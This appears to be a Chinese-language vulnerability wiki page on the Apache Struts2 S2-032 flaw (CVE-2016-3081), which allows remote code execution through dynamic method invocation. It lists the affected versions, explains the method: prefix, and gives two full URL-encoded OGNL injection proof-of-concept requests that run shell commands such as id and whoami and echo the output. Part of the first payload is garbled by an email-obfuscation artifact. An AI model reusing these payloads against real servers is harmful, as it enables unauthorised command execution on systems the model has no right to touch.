跳转至

(CVE-2016-3081)s2-032

一、漏洞简介

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。method: Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。

二、漏洞影响

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

三、复现过程

需要开启动态方法调用

使用?method:execute的方式调用execute方法(execute方法是struts2中默认的action调用方法),在method:后面加上我们要执行的ognl表达式即可执行任意代码了

光有回显 poc

http://www.0-sec.org/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
/memoindex.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=whoami&dd=%20&d=____A&encoding=UTF-8